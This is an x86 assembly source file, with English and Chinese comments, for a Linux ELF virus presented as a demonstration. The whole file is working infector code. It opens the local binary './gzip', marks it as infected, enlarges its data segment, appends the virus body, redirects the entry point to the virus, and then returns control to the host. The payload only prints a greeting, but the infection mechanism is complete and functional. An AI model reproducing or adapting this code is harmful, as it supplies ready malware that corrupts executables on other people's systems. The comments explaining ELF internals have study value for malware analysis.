linux_virus1.asm

linux下的一个病毒演示程序

;****************************************************************************
;                      Linux ELF file infection
;****************************************************************************
; Compile with:
;            nasm -f elf hole.asm -o hole.o
;            gcc hole.o -o hole
;该病毒改程序入口地址，把病毒体放在文件的最后，病毒体之所以能够被装载进内存，
;是因为扩展了数据段的p_filez，p_memez;这里有个要求，就是要确保病毒体能够全
;部被装载进内存，如果要感染全部的文件，0x2000不知道够不够用。

        section .text
        global main

hoste:
        ret

main:  
        pusha                                   ; Beginning of the virus
                                                ; Push all the parameters
        call    getdelta
getdelta:
        pop     ebp
        sub     ebp,getdelta       
                               
        mov     eax,125                         ; I modify the attributes with
        lea     ebx,[ebp+main]                  ; mprotect for write in protec-
                                                ; ted pages
        and     ebx,0xFFFFF000                  ; Round up to pages
        mov     ecx,03000h                      ; r|w|x attributes
        mov     edx,07h                         ; We will only need this in 
        int     80h                             ; the 1st gen, because we'll
                                                ; copy us in the data section
   
		mov     ebx,01h
        lea     ecx,[ebp+texto]
        mov     edx,0Ch                         ; Show a Hello World with a 
        call    sys_write                       ; write to stdout
    
        mov     eax,05
        lea     ebx,[ebp+archivo]               ; open file to infect (./gzip)
        mov     ecx,02                          ; read/write
        int     80h
        mov     ebx,eax                         ; Handle in EBX
	 
        xor     ecx,ecx
        xor     edx,edx                         ; Go to beginning of file
        call    sys_lseek
       
        lea     ecx,[ebp+Elf_header]            ; Read the ELF header to our
        mov     edx,24h                         ; variable
        call    sys_read			;把ELF头读入Elf_header中
                 
        cmp     word [ebp+Elf_header+8],0xDEAD  ; Check for previous infection
        jne     infectar			;在文件ELF头中第9，10字节做标记
        jmp     salir
infectar:
        mov     word [ebp+Elf_header+8],0xDEAD
                                                ; The mark is on the 2 first
                                                ; fill bytes in the ident struc

        mov     ecx,[ebp+e_phoff]               ; e_phoff is a ptr to the PH
        add     ecx,8*4*3                       ; Obtain 3rd entry of data seg
        push    ecx				；把第三个数据段的入口压入堆栈
        xor     edx,edx
        call    sys_lseek                       ; Go to that position
           
        lea     ecx,[ebp+Program_header]        ; Read the entry
        mov     edx,8*4                   
        call    sys_read			；把数据段的描述读到Program_header
                
        add     dword [ebp+p_filez],0x2000      ; increase segment size in
        add     dword [ebp+p_memez],0x2000      ; memory and in the file
						;增加的是数据段

; The size to add must be superior to the size of the virus, because besides
; copy the virus, we have also to copy the section table, located before
; and it is not mapped into mem by default. It could be shifted (for avoid
; copying it) but for simplycity reasons i don't do that.

        pop     ecx				；ecx point to 3rd entry of
						; data seg

        xor     edx,edx
        call    sys_lseek                       ; back to entry position
         
        lea     ecx,[ebp+Program_header]
        mov     edx,8*4
        call    sys_write                       ; Write entry to the file

        xor     ecx,ecx
        mov     edx,02h
        call    sys_lseek                       ; Go to file end

; EAX = File Size, that will be phisical offset of the virus
     
        mov     ecx,dword [ebp+oldentry]
        mov     dword [ebp+temp],ecx

        mov     ecx,dword [ebp+e_entry]
        mov     dword [ebp+oldentry],ecx

        sub     eax,dword [ebp+p_offset]
        add     dword [ebp+p_vaddr],eax
        mov     eax,dword [ebp+p_vaddr]         ; EAX = New entrypoint
    
        mov     dword [ebp+e_entry],eax
       
; These are the calculations of the new entry address, that will point to the
; code of the virus. For calculate the virtual address of the virus in memory
; i move the pointer to the end of the file with lseek, so the EAX register
; will have the phisical size of the file (i.e. the physical position of the
; virus in the file).
; If to that position i substract the physical position of the beginning of
; the data segment, i will have the virus position relative to the beginning
; of the data segment, and if i add to it the virtual address of the segment
; i will obtain the virtual address of the virus in memory.

        lea     ecx,[ebp+main]
        mov     edx,virend-main
        call    sys_write                       ; Write the virus to the end


        xor     ecx,ecx
        xor     edx,edx
        call    sys_lseek                       ; Set pointer to beginning of
                                                ; the file
        lea     ecx,[ebp+Elf_header]
        mov     edx,24h
        call    sys_write                       ; Modify header with new EIP

        mov     ecx,dword [ebp+temp]
        mov     dword [ebp+oldentry],ecx
                 
salir:  mov     eax,06                          ; Close the file
        int     80h
        popa
 
        db      068h                            ; Opcode of a PUSH
oldentry:
        dd      hoste                           ; back to infected program
        ret										
						;这里db 068 dd hoste相当于push oldentry
						;指令，太经典了

        
sys_read:                                       ; EBX = Must be File Handle
        mov     eax,3
        int     80h
        ret
sys_write:                                      ; EBX = Must be File Handle
        mov     eax,4
        int     80h
        ret
sys_lseek:                                      ; EBX = Must be File Handle
        mov     eax,19
        int     80h
        ret

dir     dd      main
        dw      010h 
archivo db      "./gzip",0                      ; File to infect
datos   db      00h  

temp    dd      00h                             ; Save oldentry temporally

;**************** Data Zone *************************************************

newentry        dd 00h                          ; New virii EIP
newfentry       dd 00h
myvaddr         dd 00h
texto           db 'HELLO WORLD',0h

Elf_header:
e_ident:     db 00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h           
e_type:      db 00h,00h
e_machine:   db 00h,00h
e_version:   db 00h,00h,00h,00h
e_entry:     db 00h,00h,00h,00h
e_phoff:     db 00h,00h,00h,00h
e_shoff:     db 00h,00h,00h,00h 	 
e_flags:     db 00h,00h,00h,00h
e_ehsize:    db 00h,00h
e_phentsize: db 00h,00h
e_phnum:     db 00h,00h
e_shentsize: db 00h,00h
e_shnum:     db 00h,00h
e_shstrndx:  db 00h,00h			
jur:         db 00h,00h,00h,00h

Program_header:
p_type       db 00h,00h,00h,00h
p_offset     db 00h,00h,00h,00h
p_vaddr      db 00h,00h,00h,00h
p_paddr      db 00h,00h,00h,00h        
p_filez      db 00h,00h,00h,00h
p_memez      db 00h,00h,00h,00h
p_flags      db 00h,00h,00h,00h
p_align      db 00h,00h,00h,00h
         
Section_entry:
sh_name      db 00h,00h,00h,00h 
sh_type      db 01h,00h,00h,00h
sh_flags     db 03h,00h,00h,00h      ;alloc
sh_addr      db 00h,00h,00h,00h
sh_offset    db 00h,00h,00h,00h
sh_size      dd (virend-main)*2
sh_link      db 00h,00h,00h,00h
sh_info      db 00h,00h,00h,00h
sh_addralign db 01h,00h,00h,00h
sh_entsize   db 00h,00h,00h,00h


virend:

;****************************************************************************